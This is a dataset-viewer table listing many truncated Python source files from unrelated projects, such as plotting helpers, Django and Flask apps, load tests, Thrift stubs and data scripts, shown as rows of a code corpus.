content stringlengths 5 1.05M |
|---|
n = float(input('Digite um número em metros:\n'))
print(f'{n}m em centimetros é: {n*100:.2f}.')
print(f'E em milimetros é: {n*1000:.2f}.')
|
import matplotlib.pyplot as plt
from .datafetcher import fetch_measure_levels
from .analysis import polyfit
def plot_water_level_with_fit(station, dates, levels, p):
poly,t,d=polyfit(dates,levels,p)
pile =[]
for date1 in d:
pile.append(poly(date1))
plt.plot(d, pile)
plt.plot(d,levels)
h... |
from django.core.cache import caches
from mapentity.settings import app_settings
def cbv_cache_response_content():
""" Decorator to cache the response content of a Class Based View """
def decorator(view_func):
def _wrapped_method(self, *args, **kwargs):
response_class = self.response_cla... |
#!/usr/bin/python
"""
##################################################################################
Display any CGI (or other) server-side file without running it. The filename can
be passed in a URL param or form field (use "localhost" as the server if local):
http://servername/cgi-bin/getfile.py?filen... |
# importing libraries
import pandas as pd
from PIL import Image, ImageDraw, ImageFont
import os
# reading csv
data = pd.read_csv('demo.csv')
# remove null values
data.dropna(inplace=True,axis=1)
# dropping dupicate rows
data.drop_duplicates(subset=['Emails'], keep='last', inplace=True)
# convert to list
names = data['N... |
import dlib
import numpy as np
import cv2
import os
import sys
import imutils
from imutils import face_utils
import matplotlib.pyplot as plt
import pyautogui as pyat
fourcc = cv2.VideoWriter_fourcc(*'XVID')
vid = cv2.VideoCapture(0)
plt.ion()
count = 0
if os.path.exists('ann.txt'):
os.remove('ann.txt')
annotation_f... |
"""solution
A by A spiral (clockwise)에 대해 다음과 같은 관계가 성립한다.
매트릭스의 크기:
(2N+1) by (2N+1) matrix는 N개의 레이어로 구성된다. 단 N int >=0
v0 = 중간점(출발값) = 1
n-th 레이어에 대해, 단 0 <= n <= N
우하단 값 eqRD(n) = eqRD(n-1) + (2 + 8*(n-1)) where n >= 1, eqRD(0) = v0 = 1
좌하단 값 eqLD(n) = eqRD(n) + 2*n
좌상단 값 eqLU(n) = eqLD(n) + 2*n
우상단 값 eqRU(n) = ... |
import unittest
from zigzag_conversion.solution import Solution
class ZigzagConversionTest(unittest.TestCase):
def test_zigzag_conversion(self):
s = Solution()
tests = [
("ABCD", 2, "ACBD"),
("ABABABABABABABABA", 2, "AAAAAAAAABBBBBBBB"),
('PAYPALISHIRING', 3,... |
import asyncio
from aiocouch import CouchDB
async def main_with() -> None:
async with CouchDB(
"http://localhost:5984", user="admin", password="admin"
) as couchdb:
print((await couchdb.info())["version"])
database = await couchdb["config"]
async for doc in database.docs(["... |
import scipy as sp
import pandas as pd
import copy
from limix.io import read_plink
from sklearn.preprocessing import Imputer
class BedReader:
r"""
Class to read and make queries on plink binary files.
Parameters
----------
prefix : str
Path prefix to the set of PLINK files.
Examples
... |
#!/usr/bin/python
from oasis.cmd import api
api.main()
|
from utils import run, step, dump
@step
def params(ctx):
name = ctx['name']
build_root = ctx['build_root']
win_root = f'{build_root}/win'
win_exe = f'{win_root}/{name}.exe'
old = {k for k in ctx}
ctx['win_root'] = win_root
ctx['win_exe'] = win_exe
dump(ctx, old)
@step
def export_ex... |
#
# Autogenerated by Thrift
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
from cyclozzo.thrift.Thrift import *
from cyclozzo.thrift.transport import TTransport
from cyclozzo.thrift.protocol import TBinaryProtocol, TProtocol
try:
from cyclozzo.thrift.protocol import fastbinary
except:
fast... |
def comparevals(v1, operator, v2):
if operator == ">":
return v1 > v2
elif operator == "<":
return v1 < v2
elif operator == ">=":
return v1 >= v2
elif operator == "<=":
return v1 <= v2
elif operator == "=" or operator == "==":
return v1 == v2
elif operator... |
#!/usr/bin/env python3
from os import getcwd, path
import json
class UsefulInputFiles(object):
"""Class of input file paths to be used by this routine.
Attributes:
msegs_in (string): Database of baseline microsegment stock/energy.
htcl_totals (string): Heating/cooling energy totals by climat... |
import keybasechat
import pytest
import pprint
class TestClass():
@pytest.fixture(scope="class")
def init_client(self):
self.client = keybasechat.KeybaseCmdWrapper()
def get_conversations(self):
self.init_client()
return self.client.list_conversation_sync()
def test_read_... |
import unittest
from stack import Stack
"""
3.5 Sort Stack
Write a program to sort a stack such that the smallest items are
on the top. You can use an additional temporary stack, but you
may not copy the elements into any other data structure (such as
an array). The stack supports the following operations: p... |
from tensorflow.keras.utils import Sequence
import pandas as pd
import numpy as np
import random
import math
import pysam
from ..util import *
import threading
import pickle
import pdb
#generate batches of SNP data with specified allele column name and flank size
class SNPGenerator(Sequence):
def __init__(self,
... |
import os
import argparse
from pickle import load
import numpy as np
from subprocess import call
import sys
from shutil import rmtree
from copy import copy
from scheduler import Launcher
#
# PATHS
#
code_dir = os.path.join(os.environ['HOME'], 'CODE', 'src')
warptotemplate_path = os.path.join(code_dir, 'nimg-scripts... |
"""
Script that continuously posts Chatter threads using a dataset from a Facebook
group. See README.md for more details.
"""
import os
import random
import readchar
import sqlite3
import time
from simple_salesforce import Salesforce
from dotenv import load_dotenv, find_dotenv
load_dotenv(find_dotenv())
DATASET_FIL... |
#
# Copyright (c) 2009, 2010 Testrepository Contributors
#
# Licensed under either the Apache License, Version 2.0 or the BSD 3-clause
# license at the users choice. A copy of both licenses are available in the
# project source as Apache-2.0 and BSD. You may not use this file except in
# compliance with one of these t... |
import json
import discord
import datetime
import TotalStockChecker
from discord.ext import commands
from discord.ext.commands import Bot
with open('config.json', 'r') as f:
config_data = json.load(f)
TOKEN = config_data["TOKEN"]
BOT_PREFIX = config_data["BOT_PREFIX"]
bot = commands.Bot(command_prefix=BOT_PREFIX... |
from django.contrib import admin
from .models import UserComment, Follow, UserPost, UserProfile
admin.site.register(UserComment)
admin.site.register(Follow)
admin.site.register(UserPost)
admin.site.register(UserProfile)
|
import os
import sys
import json
def check_file_existance(path,file_name):
if file_name in os.listdir(path):
return True
else:
return False
def create_file(file_name):
with open(file_name,"a"):
pass
with open(file_name,"w"):
pass
def read_file(file_name):
with open... |
from collections import defaultdict
my_list=['a','b','c','d']
for idx, val in enumerate( my_list ):
print( idx, val)
for idx, val in enumerate( my_list, 1):
print( idx, val)
word_summary = defaultdict(list)
with open(__file__) as f:
lines = f.readlines()
for idx , line in enumerate( lines ):
... |
test_case = int(input())
def fibo(N):
zero = [0] * 41
one = [0] * 41
zero[0] = 1
one[1] = 1
for i in range(2, N + 1):
zero[i] = zero[i - 1] + zero[i - 2]
one[i] = one[i - 1] + one[i - 2]
return zero[N], one[N]
for t in range(test_case):
N = int(input())
print(*fibo... |
#coding:utf-8
#
# id: functional.intfunc.string.ascii_01
# title: New Built-in Functions, Firebird 2.1 : ASCII_CHAR( <number> )
# decription: test of ASCII_CHAR
#
# Returns the ASCII character with the specified code. The argument to ASCII_CHAR must be in the range 0 to 2... |
#!/usr/local/bin/python3
#-*- encoding: utf-8 -*-
import os
from flask import Flask
from flask_wtf.csrf import CSRFProtect
from setting.config import config
from app.api.check.controller import bp_common_check
from app.web.sign.controller import bp_web_sign
from app.web.index.controller import bp_web_index
from app.wo... |
import unittest
from io import BytesIO
from keyserver.key import PublicKey, PrivateKey
# {{{
pub = """-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1
mI0EVX2+IQEEAL3TABO0HqcHFD3uGnp9FQeuorE3vL7GGGvSkS9BhOG9r8Hu4Bq5
txu4uVxH4Gcx/ksVNCP8nChYvbs7qBdxZPpDzKEzIeFKsGU3oVwbmIoXMiZC1WHx
p2y/dwUKWG5bUlmbU4dBEBjpbBF0Ih... |
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
import json
from django.db import models
from django.db.models import CASCADE
class AbstractTelegramChat(models.Model):
"""
Represents a `chat` type in Bot API:
https://core.tele... |
import os
import sys
import plyfile
import json
import time
import torch
import argparse
import numpy as np
def get_raw2scannet_label_map():
lines = [line.rstrip() for line in open('scannetv2-labels.combined.tsv')]
lines = lines[1:]
raw2scannet = {}
for i in range(len(lines)):
elements = lines[... |
from mock import patch
from tests import get_resource_path
def _compare_expected_to_response(test_app,
fake_redis_store,
route,
expected_path,
expected_response=200):
with patch(... |
import xarray as xr
import numpy as np
import pytest
from xmovie.presets import (
_check_input,
_core_plot,
_smooth_boundary_NearsidePerspective,
)
import matplotlib as mpl
import matplotlib.pyplot as plt
import cartopy.crs as ccrs
def test_check_input():
# this should be done with a more sophisticate... |
from ROOT import *
import math
import sys
def main(argv=sys.argv):
if(len(argv)!=5):
print 'Usage, python test.py <mean> <sigma> <NTOYS> <NOPINTS>'
return -1
ran=TRandom3(132)
mean=float(argv[1])
sigma... |
from .champion import championById
from .wiki import wikiById
|
# -*- coding: utf-8 -*-
from concurrent.futures import ThreadPoolExecutor as Executor
import time
from PIL import Image, ImageDraw, ImageFont, ImageColor
from utilities import Singleton
from raspberry_pi.bases import BaseDisplay
from raspberry_pi import TFT240x135
from typing import Union, Sequence
BLACK = ImageCo... |
import tzlocal
import pytz
import elist.elist as elel
from pynoz.primitive import undefined,null,true,false
from pynoz.orb import Orb,set_via_pl_from_root
from datetime import datetime,timedelta,timezone
TO_AN_MD = {
"+":'___',
"-":'__'
}
FROM_AN_MD = {
'___':'+',
'__':'-'
}
def zone_to_an_map_... |
# This file was created automatically by SWIG 1.3.29.
# Don't modify this file, modify the SWIG interface instead.
import _controls_
import new
new_instancemethod = new.instancemethod
def _swig_setattr_nondynamic(self,class_type,name,value,static=1):
if (name == "thisown"): return self.this.own(value)
if (name... |
"""
Tests of overall workspace functions.
"""
import logging
import pkg_resources
import sys
import time
from nose.tools import eq_ as eq
from nose.tools import with_setup
if sys.platform != 'win32': # No testing on Windows yet.
from selenium.webdriver.common.action_chains import ActionChains
from selenium.... |
def zhang2007_F1_pil(x):
return """
# Domains
length d1 = 10
length d2a = 6
length d2b = 6
length d2c = 12
length d3 = 4
length d4 = 16
length d5 = 6
length d6 = 16
# Species
C = d4 d5
OB = d1 d2a d2b d2c
ROX = d1 d2a
S = d1 d2a( d2b( d2c( ... |
#
# Copyright 2015 LinkedIn Corp. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... |
if __name__ == '__main__':
import nose
nose.run(defaultTest="tests", argv=["--verbosity=2", "--with-html"]) |
'''
# 没看懂
# space:1;time:n
class Solution:
def longestValidParentheses(self, s):
"""
:type s: str
:rtype: int
"""
left, right, max_len = 0, 0, 0
for i in s:
if i == '(': left += 1
else: right += 1
if left == right: max... |
#!/usr/bin/env python2
from pwn import *
r = remote("shell2017.picoctf.com",40492)
for i in range(11):
r.recvuntil("%d:"%i)
r.send("c\n")
#slightly modified shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode1 = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\xeb\x0e"
shellcode2 = "\x68\x2f\x62\x69\x6... |
from almanac.conf import settings as app_settings
from almanac.utils.auth import secure
from django.shortcuts import render
from django.views.generic import TemplateView
from government.models import Body
@secure
class BodyList(TemplateView):
template_name = "almanac/body.live.html"
def get(self, request, *... |
"""JSPEC Testing Module for matching JSPEC documents for a placeholder.
"""
from test.matcher import JSPECTestMatcher
class JSPECTestMatcherPlaceholder(JSPECTestMatcher):
"""Class for testing the behaviour when using the ``match`` method for
placeholders.
A valid JSPEC placeholder one of array, boolean, ... |
import setuptools
setuptools.setup(
name="nbrsessionproxy",
version='0.7.0',
url="https://github.com/rahuldshetty/nbrsessionproxy",
author="Ryan Lovett",
description="Jupyter extension to proxy RStudio's rsession",
packages=setuptools.find_packages(),
keywords=['Jupyter'],
classifiers=['Frame... |
''' QuickFig Object '''
import logging
import os
import yaml
from .data_types import DEFAULT_TYPE_RESOLVER
from .definitions import QuickFigDefinition, get_default_definition
LOG = logging.getLogger(__name__)
class QuickFigNode(object):
''' QuickFig main object '''
def __init__(self, root=None, path=None... |
import torch
from .base_miner import BaseTripletMiner
from .registry import MINING
@MINING.register()
class TripletHardest(BaseTripletMiner):
"""
Idea of sampling is choosing the harderst positive and negative for each anchor.
This idea is taken from 'In Defense of the Triplet Loss for Person Re-Identifi... |
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
# Author: Hayk Aleksanyan
# create and test Trees for spatial partition
def rectArea(r):
# returns the area of the rectangle given in min-max coordinates (top-left <--> bottom-right)
return abs( (r[0] - r[2])*(r[1] - r[3]) )
class Node:
"""
used to model a rectangle in quad-tree partition of the ... |
# coding=utf-8
# Copyright 2020-present the HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ap... |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2014-2015 Alexander Shorin
# All rights reserved.
#
# This software is licensed as described in the file LICENSE, which
# you should have received as part of this distribution.
#
import asyncio
import json
import random
import types
import aiocouchdb.client
import aiocouchdb.... |
from .drepr import *
from .drepr_builder import *
from .align import *
from .attr import *
from .sm import *
from .preprocessing import *
from .resource import *
from .path import *
from .parse_v1.resource_parser import ResourceParser
DEFAULT_RESOURCE_ID = ResourceParser.DEFAULT_RESOURCE_ID
|
from setuptools import find_packages, setup
setup(
name="hgraph2graph",
author="Wengong Jin",
)
|
import argparse
from ..exceptions import UnknownCommandError
from .parser import base_argparser
class CliFactory():
"""
Manage and run commands (parsers).
"""
commands = {}
extensions = []
@classmethod
def register_command(cls, name, parse_function=None):
"""
Define comman... |
class Solution:
def peakIndexInMountainArray(self, arr: List[int]) -> int:
return arr.index(max(arr)) |
from lxml import etree
import subprocess
from pathlib import Path
import argparse
from io import StringIO
import difflib
SEQUENCE_ID_BY_NAME = {"none":-1, "idle01":1000, "idle02":1001, "idle03":1002, "idle04":1003, "idle05":1003, "death01":1005, "talk01":1010, "talk02":1011, "greet01":1020, \
"bow01":1021, "chee... |
import base64
from locust import HttpUser, TaskSet, task
from random import randint, choice
class WebTasks(TaskSet):
@task
def load(self):
base64string = base64.encodebytes(b'user:password').replace(b'\n', b'').decode()
catalogue = self.client.get("/catalogue").json()
# This sometim... |
import argparse
from arnold import main
from app import db
parser = argparse.ArgumentParser(description='down up')
parser.add_argument('direction', help='the direction to go')
args = parser.parse_args()
main(
direction=args.direction,
database=db.database,
directory="app/migrations",
migration_module=... |
import pytest
@pytest.mark.asyncio
async def test_RpcMethodNotFoundError(rpc_context):
from aiohttp_json_rpc import RpcMethodNotFoundError
client = await rpc_context.make_client()
with pytest.raises(RpcMethodNotFoundError):
await client.call('flux_capatitor_start')
@pytest.mark.asyncio
async d... |
def select_option(lb, ub):
"""Returns the selected integer type option between lb and ub. Otherwise shows an error message.
Parameters:
lb (lower bound): Lower limit of the integer type for options.
ub (upper bound): Upper limit of the integer type for options.
"""
... |
import json
import plotly
import pandas as pd
import nltk
from nltk.stem import WordNetLemmatizer
from nltk.tokenize import word_tokenize
from sklearn.multioutput import MultiOutputClassifier
from flask import Flask
from flask import render_template, request, jsonify
from plotly.graph_objs import Bar
from sklearn.ext... |
class AddMinusCal:
def __init__(self, first=0, second=0):
self.first = first
self.second = second
def setdata(self, first, second):
self.first = first
self.second = second
def add(self):
result = self.first + self.second
return result
class MultipleDi... |
import pandas as pd
import requests
from pprint import pprint
from datetime import date, datetime, timedelta
import pickle
requestHeaders = {"User-Agent":"Asteroid appraiser by [email protected]"}
the_forge_region_id = 10000002
type_id_input = 28432
result = requests.get(f"https://esi.evetech.net/latest/markets/{t... |
# -*- coding: utf-8 -*-
"""
Created on Sat Oct 26 20:21:07 2019
Tecnológico Nacional de México (TECNM)
Tecnológico de Estudios Superiores de Ixtapaluca (TESI)
División de ingeniería electrónica
Introducción a la librería Numpy 2
M. en C. Rogelio Manuel Higuera Gonzalez
"""
import numpy as np
###########################... |
from datetime import datetime
from locale import setlocale, LC_ALL
# Datas em outro idioma:
setlocale(LC_ALL, '') # Determina o formato com base no idioma do usuário
# setlocale(LC_ALL, 'pt_BR.utf-8')
date = datetime.now() # Pega a data de agora
print(date.strftime('%A, %d de %B de %Y'))
|
import asyncio
import typing
class CallableIO:
""" Base class for every
applicant, Routine, Task, Future, Worker, Producer, Consumer, etc. in the library.
Makes an ASyncIO callable object. """
def prepare(self, *args, **kwargs) -> bool:
""" Prepare the arguments for a call. """
raise ... |
lines = open('day3.txt','r').readlines()
#lines = ['R8,U5,L5,D3', 'U7,R6,D4,L4']
def get_locs(directions):
px = 0
py = 0
for d in directions:
direction = d[0]
amount = int(d[1:])
x,y = { 'U': (0,-1), 'D':(0,1), 'R':(1,0), 'L':(-1,0) }[direction]
yield from ((px + d*x, py + d*y) for d in range(am... |
"""
计算1到M(含M)之间的合数数量,输出其值。
"""
def com_num():
M = eval(input("Please enter a positive integer M(M<10000) :"))
i = 0
for m in range(2, M + 1): #
for n in range(2, m - 1): # The range of factors of composite Numbers
if m % n == 0:
i += 1
break
... |
# pylint: disable=wrong-import-position
import unittest
import sys
sys.path.append('..')
from conf import clean
from admin import Admin
class TestCase(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.admin = Admin()
cls.admin.conf_setup()
clean()
@classmethod
def tear... |
from eventlet import patcher
from eventlet.green import asyncore
from eventlet.green import ftplib
from eventlet.green import threading
from eventlet.green import socket
patcher.inject('test.test_ftplib', globals())
# this test only fails on python2.7/pyevent/--with-xunit; screw that
try:
TestTLS_FTPClass.test_da... |
#!/usr/bin/python
import os, sys, getopt
from internetarchive import search_items, get_item
def main(argv):
collection = ''
outputdir = ''
slamall = 0
fext = ''
getext = ['.mp3', 'epub', '.pdf', '.cbz', '.cbr', '.avi', 'mp4', 'divx', 'rar']
try:
opts, args = getopt.getopt(argv,"hc:o:a",["colle... |
routers = dict(
BASE=dict(
default_application="shebanq",
root_static=[
"robots.txt",
"favicon.ico",
"apple-touch-icon.png",
"google9e12b65b9e77c1da.html",
],
)
)
|
# input is taken as int value in this case
a = int(input("Enter num 1: "))
b = int(input("Enter num 2: "))
c = a+b
print(c)
|
import os
import sys
import argparse
parser = argparse.ArgumentParser(description="Utilities for Gluu CE")
parser.add_argument('-load-ldif', help="Loads ldif file to persistence")
argsp = parser.parse_args()
#first import paths and make changes if necassary
from setup_app import paths
#for example change log file loc... |
import csv
import os
wow = []
for dorks in os.listdir('_data'):
with open('_data/{}'.format(dorks)) as f:
reader = csv.DictReader(f)
for row in reader:
what = row.get('Where to find it', row.get(
'Why you dig it (HTML and Markdown okay)'))
if what is not Non... |
# Copyright 2018 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import unittest
from dashboard.api import utils
class ParseBoolTest(unittest.TestCase):
def testTrueValues(self):
self.assertTrue(utils.ParseBool('1... |
import pytest
def test_capital_case():
assert ('semaphore') == 'semaphore'
|
"""Set up the database, create tables User, Category, Items"""
from sqlalchemy import Column, \
ForeignKey, \
Integer, \
String, \
DateTime, \
Boolean, \
UnicodeText, \
... |
import time
from _setup.models import Secret
from pyprintplus import Log
import boto3
from botocore.exceptions import NoCredentialsError
class Aws():
def __init__(self,
access_key_id=Secret('AWS.ACCESS_KEYID').value,
secret_access_key=Secret('AWS.SECRET_ACCESS_KEY').value,
... |
# -*- coding: utf-8 -*-
"""
Created on Fri Mar 27 2021 10:47 am
@author: Andi
Performs FLE for manifolds from TC result
Available manifolds:
sphere
parabola
swiss roll
"""
import networkx as nx
from matplotlib import pyplot as plt
import numpy as np
import gudhi
from mpl_toolkits.mplo... |
import os
import numpy as np
import glob
import librosa
import scipy
print('mjm')
wavs = glob.glob('../2019_KETI_NOISE/sep_backup/HOME/*_ch1_fan.wav')
output_file='../2019_KETI_NOISE/SEP/home/fan_test/'
wavs.sort()
time_len=160000
y_len=0
cnt =1
firtst_flag=0
y_sum=[]
y_PP=[]
y_p=[]
y_sum... |
# coding: utf8
from __future__ import unicode_literals
VERBS = set("""
'γγίζω άγομαι άγχομαι άγω άδω άπτομαι άπωσον άρχομαι άρχω άφτω έγκειται έκιοσε
έπομαι έρπω έρχομαι έστω έχω ήγγικεν ήθελε ίπταμαι ίσταμαι αίρομαι αίρω
αβαντάρω αβαντζάρω αβαντσάρω αβαράρω αβασκαίνω αβγατίζω αβγαταίνω αβγοκόβω
αβδελλώνω αβλεπτώ α... |
class CheckPysnobalOutputs(object):
"""Check the AWSM test case for all the variables. To be used as a
mixin for tests to avoid these tests running more than once.
Example:
TestSomethingNew(CheckPysnobalOutputs, AWSMTestCase)
"""
def test_thickness(self):
self.compare_netcdf_files... |
from collections import OrderedDict
START_YEAR = 1979
states = OrderedDict([
('AK', 'Alaska'),
('AL', 'Alabama'),
('AR', 'Arkansas'),
('AS', 'American Samoa'),
('AZ', 'Arizona'),
('CA', 'California'),
('CO', 'Colorado'),
('CT', 'Connecticut'),
('DC', 'District of Columbia'),
('... |
import demistomock as demisto
from CommonServerPython import *
from CommonServerUserPython import *
''' IMPORTS '''
import json
import requests
from typing import Callable
# Disable insecure warnings
requests.packages.urllib3.disable_warnings() # type: ignore
''' GLOBALS/PARAMS '''
HEADERS: dict = {
'Content-T... |
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
from enum import Enum
from typing import Union
import decimal
import math
import asyncio
import random
import logging
import time
from exchanges_wrapper.http_client import HttpClient
from exchanges_wrapper.errors import BinancePyError, RateLimitReached
from exchanges_wrapp... |
pkgname = "libaom"
pkgver = "3.2.0"
pkgrel = 0
build_style = "cmake"
configure_args = ["-DBUILD_SHARED_LIBS=ON", "-DENABLE_TESTS=OFF"]
hostmakedepends = [
"cmake", "ninja", "pkgconf", "perl", "python", "yasm", "doxygen"
]
makedepends = ["linux-headers"]
pkgdesc = "Reference implementation of the AV1 codec"
maintain... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('djconnectwise', '0044_auto_20171222_1700'),
]
operations = [
migrations.AddField(
model_name='project',
... |
from .. import headers, user_lang
from . import pre_check
import requests
import json
lolicon_token = pre_check('lolicon_token', False)
def loli_img(keyword: str = ''):
try:
res = requests.get(
'https://api.lolicon.app/setu/', headers=headers,
params={
'apikey': lo... |
# Copyright (c) 2022 elParaguayo
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distrib... |
"""
Ce fichier génère une carte interactive avec Folium.
"""
# %%
import folium
from folium.plugins import MarkerCluster
import json
coordinates = json.load(open('coordinates.json'))
snippets = json.load(open('tome1.json', encoding='utf-8'))
# construction de la carte
# inspiré par https://medium.com/@saidakbarp/in... |
import random
while True:
start=input('Type ROLL to start rolling the dice:')
if start=='ROLL':
print('Rolling dice..')
print(f"The value is ", random.randint(1,6))
again=input("to close the program type CLOSE and to continue the program press anything:")
if again =='CLOSE':
break
|
"""
URLs for umnoc.
"""
from django.conf.urls import url, include
from .admin import umnoc_admin_site
from .api import api
urlpatterns = [
url('^admin/', umnoc_admin_site.urls),
url('^api/', api.urls),
url('^summernote/', include('django_summernote.urls')),
]
|
import json
import os
import sys
# for linux env.
sys.path.insert(0,'..')
import argparse
from distutils.util import strtobool
import torch
import torch.nn as nn
from data.data_loader import NumpyTupleDataset
from mflow.models.hyperparams import Hyperparameters
from mflow.models.model import MoFlow, rescale_adj
from m... |
from __future__ import print_function
# to filter some unnecessory warning messages
import warnings
warnings.filterwarnings("ignore", message="numpy.dtype size changed")
warnings.filterwarnings("ignore", message="numpy.ufunc size changed")
import os
import numpy as np
import pandas as pd
import glob
import keras
from... |
import unittest
import gym
from tf2rl.algos.ddpg import DDPG
from tf2rl.experiments.trainer import Trainer
class TestTrainer(unittest.TestCase):
def test_empty_args(self):
"""
Test empty args {}
"""
env = gym.make("Pendulum-v0")
test_env = gym.make("Pendulum-v0")
... |
import re
import subprocess
output = subprocess.check_output("amixer -D pulse get Master", shell=True)
volume = re.search(r'\[(?P<volume>\d+%)\]', str(output)).group('volume')
custom_volume = int(volume.replace('%', ''))
if custom_volume >= 80 and custom_volume <= 100:
print(f'volume {volume}')
elif custom_vol... |
# -*- coding: utf-8 -*-
"""
Created on Fri Jun 22 14:12:48 2018
@author: LiHongWang
"""
import tensorflow as tf
def dice_coe(output, target, loss_type='jaccard', axis=(1, 2, 3), smooth=1e-5):
"""Soft dice (Sørensen or Jaccard) coefficient for comparing the similarity
of two batch of data, usual... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.